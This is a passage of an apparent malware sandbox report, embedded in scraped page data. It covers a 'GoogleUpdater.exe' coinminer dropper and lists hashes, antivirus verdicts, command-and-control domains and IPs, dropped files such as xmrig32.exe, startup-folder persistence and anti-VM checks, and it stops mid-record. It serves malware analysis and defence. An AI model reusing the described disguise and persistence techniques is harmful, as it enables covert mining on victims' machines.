AAAAAAAAAAAAAAAAETMzMwAAAAAAAAAAAAAAATMzMzMQAAAAAAAAAAAAAAEzMzMzMAAAAAAAAAAAAAABMzMzMzAAAAAAAAAAAAAAAAAzMzMwAAAAAAAAAAAAATMwADMzMAAAAAAAAAATAAMzO7ADMzAAAAAAAAAAEAABEzszAzMwAAAAAAIBEAAAETMzMzMzMAAAAAACADMxEBEzMzMzMzAAAAAAAgABMxABEzMzMDMwAAAAAAAAABEAAQMzMzAzMAAAAAAAAAAAABAAEzMyMzAAAAAAAAAAAAAQAAMzMzMAAAAAAAAAACIAAAAREzMzMAAAAAAiAAAiAAABAAETMzsAAAAAIhAAAAAAAAAAABM7AAAAACIRAAAAAAACAAATMAAAAAAiAAAREREAAiAAMgAAAAAAIgAAAAATMAAAATIAAAAAACAAAAAAABMAAAMwAAAAAAAgABEREAABMRAzoAAAAAAAIgABEzERABMzMwAAAAAAAKIAABEzMxAAIiAAAAAAAAACAAABETMRACIgAAAAAAAAACAAAAEREAAiAAAAAAAAAAAAAAAAAAACIAAAAAAAAAAAAAIAAAAAIgAAAAAAAAAAAAAAAAAAIgAAAAAAAAD//gH///wAf//4AD//8AAf/+AAH//AAB//wAAf/4BwH/+AGB//AAAf/AAAH/gAAB/4AAAf+AAAH/gAAB/4AAAf+AAAH/gAAB/wAAAP8AAAD/AAAB/wAAA/8AAAP/AAAH/wAAB/8AAA//AAAf/4AAH//AAD//4AB///gA////A//w==49:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHd3d3d3d3d3d3d3d3d3dwBwAAAAAAAAAAAAAAAAAAcAcAAAAAAAAAAAAAAAAAAHAHAAAAAAAAAAAAAAAAAABwBwAAAAAAAAAAAAAAAAAAcAcAAAAAAAAAAAAAAAAAAHAHAAAAAAAAAAAAAAAAAABwBwAAAAAAAAAAAAAAAAAAcAcAAAAAAAAAAAAAAAAAAHAHAAAAAAAAAAAAAAAAAABwBwAAAAAAAAAAAAAAAAAAcAd3AAAAAAAAAAAAAAAAAHAHd3AAAAAAAAAAAAAAAABwB3d3/wAAAADwD/////AAcAd3f3fwDwAA8AAAAAAAAHAHd393d3cAD/AAAAAAAABwB3d/d3d3AP8AAAAAAAAAcAd3f3f3fwDwAAAAAAAAAHAHd3f/d3cA8AAAAAAAAABwB3d3d3d3AAAAAAAAAAAAcAd3d3d3dwAAAAAAAAAAAHAHd3d3d3cAAAAAAAAAAABwB4iIiIiIiIiIiIiIiIiIcAeIiIiIiIiIiIiIiHh4eHAHd3d3d3d3d3d3d3d3d3dwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///////////////w==4a:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABmZmZmZmZmZmZmZgAAAAAAaId3d3d3d4iIiIdgAAAHdmhmZmZmZmZmZmZoZAAAB2ZnZmZmZmZmZmZmZ3YAAAdmZ3ZmiHZniIiHZmaGAAAHZmd2Zv/4eIiIiGZmhgAAB2ZmdmZ4/4eIh3ZmZnYAAAd2ZnZmZo//h2ZmZmZ3YAAHZmaGZmZo//h2ZmZmd2AAB3Zmd2ZmZnj/h2ZmZmhgAAd3dndmZmZuj/+GZmZoYAAHd3dod3dmZuj/9mZmZ2AACHd3aHd3eIiP/4ZmZmd2AAiHd2iIiIiI//iId2ZndgAIiIhoiIiIj//4iIiIiIYACIiId4iIiP//iIiIiIiGAAiIiIaIiI//+IiIiIiIhkAIiIiGiIiP/4iIiIiIiIdgCIiIhoiIj/iIiIiIiIiIYAiIiIeIiIiIiIiIiIiIiGAAiIiIaP///////////4hgAAAAAGZmZmZmZmZmZmZmYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD////////////////gAAAf4AAAD+AAAAfgAAAHAAAABwAAAAcAAAAHAAAAAwAAAAMAAAADAAAAAwAAAAMAAAABAAAAAQAAAAEAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAP4AAAH//////////////////////////w==4b:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAARExEAAAAAAAAAAAAAAAAAERMzMQAAAAAAAAAAAAAAAAAREzMxAAAAAAAAAAAAAAAAETMzMwAAAAAAAAAAAAAAATMzMzMQAAAAAAAAAAAAAAEzMzMzMAAAAAAAAAAAAAABMzMzMzAAAAAAAAAAAAAAAAAzMzMwAAAAAAAAAAAAATMwADMzMAAAAAAAAAATAAMzO7ADMzAAAAAAAAAAEAABEzszAzMwAAAAAAIBEAAAETMzMzMzMAAAAAACADMxEBEzMzMzMzAAAAAAAgABMxABEzMzMDMwAAAAAAAAABEAAQMzMzAzMAAAAAAAAAAAABAAEzMyMzAAAAAAAAAAAAAQAAMzMzMAAAAAAAAAACIAAAAREzMzMAAAAAAiAAAiAAABAAETMzsAAAAAIhAAAAAAAAAAABM7AAAAACIRAAAAAAACAAATMAAAAAAiAAAREREAAiAAMgAAAAAAIgAAAAATMAAAATIAAAAAACAAAAAAABMAAAMwAAAAAAAgABEREAABMRAzoAAAAAAAIgABEzERABMzMwAAAAAAAKIAABEzMxAAIiAAAAAAAAACAAABETMRACIgAAAAAAAAACAAAAEREAAiAAAAAAAAAAAAAAAAAAACIAAAAAAAAAAAAAIAAAAAIgAAAAAAAAAAAAAAAAAAIgAAAAAAAAD//gH///wAf//4AD//8AAf/+AAH//AAB//wAAf/4BwH/+AGB//AAAf/AAAH/gAAB/4AAAf+AAAH/gAAB/4AAAf+AAAH/gAAB/wAAAP8AAAD/AAAB/wAAA/8AAAP/AAAH/wAAB/8AAA//AAAf/4AAH//AAD//4AB///gA////A//w==4c:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAARExEAAAAAAAAAAAAAAAAAERMzMQAAAAAAAAAAAAAAAAAREzMxAAAAAAAAAAAAAAAAETMzMwAAAAAAAAAAAAAAATMzMzMQAAAAAAAAAAAAAAEzMzMzMAAAAAAAAAAAAAABMzMzMzAAAAAAAAAAAAAAAAAzMzMwAAAAAAAAAAAAATMwADMzMAAAAAAAAAATAAMzO7ADMzAAAAAAAAAAEAABEzszAzMwAAAAAAIBEAAAETMzMzMzMAAAAAACADMxEBEzMzMzMzAAAAAAAgABMxABEzMzMDMwAAAAAAAAABEAAQMzMzAzMAAAAAAAAAAAABAAEzMyMzAAAAAAAAAAAAAQAAMzMzMAAAAAAAAAACIAAAAREzMzMAAAAAAiAAAiAAABAAETMzsAAAAAIhAAAAAAAAAAABM7AAAAACIRAAAAAAACAAATMAAAAAAiAAAREREAAiAAMgAAAAAAIgAAAAATMAAAATIAAAAAACAAAAAAABMAAAMwAAAAAAAgABEREAABMRAzoAAAAAAAIgABEzERABMzMwAAAAAAAKIAABEzMxAAIiAAAAAAAAACAAABETMRACIgAAAAAAAAACAAAAEREAAiAAAAAAAAAAAAAAAAAAACIAAAAAAAAAAAAAIAAAAAIgAAAAAAAAAAAAAAAAAAIgAAAAAAAAD//gH///wAf//4AD//8AAf/+AAH//AAB//wAAf/4BwH/+AGB//AAAf/AAAH/gAAB/4AAAf+AAAH/gAAB/4AAAf+AAAH/gAAB/wAAAP8AAAD/AAAB/wAAA/8AAAP/AAAH/wAAB/8AAA//AAAf/4AAH//AAD//4AB///gA////A//w==4d:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAARExEAAAAAAAAAAAAAAAAAERMzMQAAAAAAAAAAAAAAAAAREzMxAAAAAAAAAAAAAAAAETMzMwAAAAAAAAAAAAAAATMzMzMQAAAAAAAAAAAAAAEzMzMzMAAAAAAAAAAAAAABMzMzMzAAAAAAAAAAAAAAAAAzMzMwAAAAAAAAAAAAATMwADMzMAAAAAAAAAATAAMzO7ADMzAAAAAAAAAAEAABEzszAzMwAAAAAAIBEAAAETMzMzMzMAAAAAACADMxEBEzMzMzMzAAAAAAAgABMxABEzMzMDMwAAAAAAAAABEAAQMzMzAzMAAAAAAAAAAAABAAEzMyMzAAAAAAAAAAAAAQAAMzMzMAAAAAAAAAACIAAAAREzMzMAAAAAAiAAAiAAABAAETMzsAAAAAIhAAAAAAAAAAABM7AAAAACIRAAAAAAACAAATMAAAAAAiAAAREREAAiAAMgAAAAAAIgAAAAATMAAAATIAAAAAACAAAAAAABMAAAMwAAAAAAAgABEREAABMRAzoAAAAAAAIgABEzERABMzMwAAAAAAAKIAABEzMxAAIiAAAAAAAAACAAABETMRACIgAAAAAAAAACAAAAEREAAiAAAAAAAAAAAAAAAAAAACIAAAAAAAAAAAAAIAAAAAIgAAAAAAAAAAAAAAAAAAIgAAAAAAAAD//gH///wAf//4AD//8AAf/+AAH//AAB//wAAf/4BwH/+AGB//AAAf/AAAH/gAAB/4AAAf+AAAH/gAAB/4AAAf+AAAH/gAAB/wAAAP8AAAD/AAAB/wAAA/8AAAP/AAAH/wAAB/8AAA//AAAf/4AAH//AAD//4AB///gA////A//w==1d:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$25"}}],["$","$L26",null,{"initialData":{"schema_version":"1.0.15","sha256":"e6aeef24c04a1d327e9b8337ca50c74f686ca041ac161a130ca31003ceaaaa7e","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790619233469,"unified_at":"2026-09-28T18:13:53.469Z","metadata":{"hashes":{"sha256":"e6aeef24c04a1d327e9b8337ca50c74f686ca041ac161a130ca31003ceaaaa7e","sha1":"73b2110642747bf77468ea12466529859a7dff31","md5":"ba03ac196107abce735f346fb65f54dc","sha512":"d6c0eca39c1d6a2ead5ce83557f1c068c5df644b36648644901e14a5c4404fc8e9351fa27b5b2b77e9c05103c032df84c922911252cc9e04dfa98833c8ca43cc","ssdeep":"24576:569bjh50Df1ix9Pwt0LglmL3utgi2BOW9SH/Vi:5693hWMXANmbutgTQ","ssdeep_chunks":["24576:569bjh5","24576:69bjh50","24576:9bjh50D","24576:bjh50Df","24576:jh50Df1","24576:h50Df1i","24576:50Df1ix","24576:0Df1ix9","24576:Df1ix9P","24576:f1ix9Pw","24576:1ix9Pwt","24576:ix9Pwt0","24576:x9Pwt0L","24576:9Pwt0Lg","24576:Pwt0Lgl","24576:wt0Lglm","24576:t0LglmL","24576:0LglmL3","24576:LglmL3u","24576:glmL3ut","24576:lmL3utg","24576:mL3utgi","24576:L3utgi2","24576:3utgi2B","24576:utgi2BO","24576:tgi2BOW","24576:gi2BOW9","24576:i2BOW9S","24576:2BOW9SH","24576:BOW9SH/","24576:OW9SH/V","24576:W9SH/Vi","49152:569bjh5","49152:69bjh50","49152:9bjh50D","49152:bjh50Df","49152:jh50Df1","49152:h50Df1i","49152:50Df1ix","49152:0Df1ix9","49152:Df1ix9P","49152:f1ix9Pw","49152:1ix9Pwt","49152:ix9Pwt0","49152:x9Pwt0L","49152:9Pwt0Lg","49152:Pwt0Lgl","49152:wt0Lglm","49152:t0LglmL","49152:0LglmL3","49152:LglmL3u","49152:glmL3ut","49152:lmL3utg","49152:mL3utgi","49152:L3utgi2","49152:3utgi2B","49152:utgi2BO","49152:tgi2BOW","49152:gi2BOW9","49152:i2BOW9S","49152:2BOW9SH","49152:BOW9SH/","49152:OW9SH/V","49152:W9SH/Vi","24576:5693hWM","24576:693hWMX","24576:93hWMXA","24576:3hWMXAN","24576:hWMXANm","24576:WMXANmb","24576:MXANmbu","24576:XANmbut","24576:ANmbutg","24576:NmbutgT","24576:mbutgTQ"],"imphash":"baa93d47220682c04d92f7797d9224ce"},"file_info":{"file_name":"GoogleUpdater.exe","file_type":["peexe","executable"],"file_type_id":"exe","file_size":985600,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1509355769000,"last_seen":1677398856000,"last_multi_scan":1677398856000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["coinminer","miner","msil"]},"stats":{"av":{"malicious_count":17,"suspicious_count":0,"total_engines":28},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":0},"sandbox_signatures":{"informative_count":20,"suspicious_count":21,"malicious_count":18,"total":59},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"aegislab":{"name":"AegisLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Dropper/Win32.Inject","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan/Win32.BTSGeneric","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"HEUR/AGEN.1201480","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Trojan.Agent.CPIF","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"cyren":{"name":"Cyren","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Trojan.Agent.CPIF (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of Win32/Packed.Themida.CLD trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Trojan ( 000141f61 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"kaspersky":{"name":"Kaspersky","success":true,"verdict":"malicious","threat_name":"Trojan-Dropper.Win32.Injector.tdxl","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"malicious","threat_name":"RDN/Generic Dropper","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"microsoftdefender":{"name":"Microsoft Defender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.BtcMine.euptts","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicro":{"name":"Trend Micro","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicrohousecall":{"name":"Trend Micro HouseCall","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.BtcMine.CID","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"malicious","threat_name":"TrojanDropper.Injector","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"malicious","threat_name":"Dropper.Injector.Win32.83951","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Trojan.BtcMine","sources":[{"report_type":"quickscan","report_id":""}]}]},"sandbox_signatures":[{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"$27","origin":"Registry Access","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"level":"informative","category":"General","name":"Accesses Software Policy Settings","description":"$28","origin":"Registry Access","relevance":10,"id":"registry-18","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$29","origin":"Registry Access","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"sorry.enable.pw\"\n \"github.com\"\n \"api.enable.pw\"","origin":"Network Traffic","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"149.202.233.200:80\"\n \"192.30.253.113:80\"\n \"192.30.253.113:443\"\n \"151.101.0.133:443\"\n \"192.30.253.112:80\"\n \"192.30.253.112:443\"\n \"136.243.94.27:45560\"\n \"94.130.64.225:45560\"","origin":"Network Traffic","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZoneAttributeCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"\n \"Global\\.net clr networking\"\n \"Local\\ZoneAttributeCacheCounterMutex\"\n \"Local\\ZonesLockedCacheCounterMutex\"\n \"Local\\ZonesCacheCounterMutex\"\n \"RasPbFile\"\n \"Local\\ZonesCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\RasPbFile\"\n \"\\Sessions\\1\\BaseNamedObjects\\Global\\.net clr networking\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"level":"informative","category":"General","name":"Drops files marked as clean","description":"Antivirus vendors marked dropped file \"cert.cmd\" as clean (type is \"DOS batch file ASCII text with CRLF line terminators\")\n Antivirus vendors marked dropped file \"checker.vbs\" as clean (type is \"ASCII text with CRLF line terminators\")","origin":"Binary File","relevance":10,"id":"binary-16","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"level":"informative","category":"General","name":"GETs files from a webserver","description":"$2a","origin":"Network Traffic","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"level":"informative","category":"General","name":"Intercepted relevant COM error","description":"\"cscript.exe\" called \"WScript.CreateObject\"\n which returned the status code \"80020009\" (The system cannot locate the resource specified) ...","origin":"API Call","relevance":10,"id":"api-67","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"level":"informative","category":"General","name":"Launches a VBS file","description":"Process \"cscript.exe\" with commandline \"cscript CreateShortcut.vbs\" (UID: 00016086-00000712)\n Process \"cscript.exe\" with commandline \"cscript CreateShortcut.vbs\" (UID: 00018572-00003872)","origin":"Monitored Target","relevance":10,"id":"target-72","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"\" loaded module \"%WINDIR%\\assembly\\GAC_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\mscorlib.dll\" at 6A1A0000\n \"powershell.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\d40b99d82652dbbc000d378a824ae296\\mscorlib.ni.dll\" at 68ED0000","origin":"Loaded Module","id":"module-3","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"level":"informative","category":"General","name":"Logged script engine calls","description":"\"wscript.exe\" called \"WScript.Shell.1.CreateObject\" ... \n \"wscript.exe\" called \"WScript.Shell.1.Run\" ... \n \"cscript.exe\" called \"WScript.CreateObject\" with result: \"IDispatch\" ...\n \"cscript.exe\" called \"WScript.Shell.1.CreateObject\" ... \n \"cscript.exe\" called \"WScript.Shell.1.Unknown\" ... \n \"cscript.exe\" called \"WScript.Shell.1.CreateShortcut\" with result: \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\Isass.lnk\" ...\n \"cscript.exe\" called \"WScript.Shell.1(\"CreateShortcut\").TargetPath\" ... \n \"cscript.exe\" called \"WScript.CreateObject\" ...","origin":"API Call","relevance":10,"id":"api-64","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"$2b","origin":"Monitored Target","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"wscript.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")\n \"cscript.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"level":"informative","category":"General","name":"Runs shell commands","description":"$2c","origin":"Monitored Target","relevance":5,"id":"target-3","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"level":"informative","category":"General","name":"Scanning for window names","description":"\"\" searching for class \"18467-41\"\n \"\" searching for class \"Regmonclass\"\n \"\" searching for class \"Filemonclass\"\n \"\" searching for class \"PROCMON_WINDOW_CLASS\"","origin":"API Call","relevance":10,"id":"api-70","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"$2d","origin":"Monitored Target","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"level":"informative","category":"Installation/Persistance","name":"Dropped files","description":"\"GoogleUpdate.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"\n \"CreateShortcut.vbs\" has type \"ASCII text with CRLF line terminators\"\n \"cert.cmd\" has type \"DOS batch file ASCII text with CRLF line terminators\"\n \"checker.vbs\" has type \"ASCII text with CRLF line terminators\"\n \"xmrig32.exe\" has type \"PE32 executable (console) Intel 80386 (stripped to external PDB) for MS Windows\"\n \"Isass.lnk\" has type \"MS Windows shortcut Item id list present Points to a file or directory Has Relative path Archive ctime=Mon Oct 30 16:29:08 2017 mtime=Mon Oct 30 16:29:08 2017 atime=Mon Oct 30 16:28:26 2017 length=1404928 window=hide\"\n \"WindowHelperStorageHostSystemThread.ps1\" has type \"ASCII text with CRLF line terminators\"\n \"Winhost.url\" has type \"MS Windows 95 Internet shortcut text (URL=) ASCII text with CRLF line terminators\"\n \"7VFKYQV7SWURQEG5JIXK.temp\" has type \"data\"\n \"driver.dat\" has type \"very short file (no magic)\"","origin":"Binary File","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"level":"informative","category":"Installation/Persistance","name":"Touches files in the Windows directory","description":"$2e","origin":"API Call","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$2f","origin":"File/Memory","relevance":10,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"PE file has unusual entropy sections","description":"mewgxhxj\n yhnsrgoo\n ???\n gcquxhfp with unusual entropies 7.93343373618\n 7.951803104\n 7.01249292655\n 7.91242344858","origin":"Static Parser","relevance":10,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"level":"suspicious","category":"Environment Awareness","name":"Possibly tries to implement anti-virtualization techniques","description":"\"buildID=5.0&hwid={e29ac6c0-7037-11de-816d-806e6f6e6963}&profile=1&os=Microsoft Windows 7 Home Premium &platform=x86&processor=Intel(R) Xeon(R) CPU E5-2680 v4 @ 2.40GHz&videocard=VirtualBox Graphics Adapter\" (Indicator: \"virtualbox\")","origin":"File/Memory","relevance":4,"id":"string-1","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: 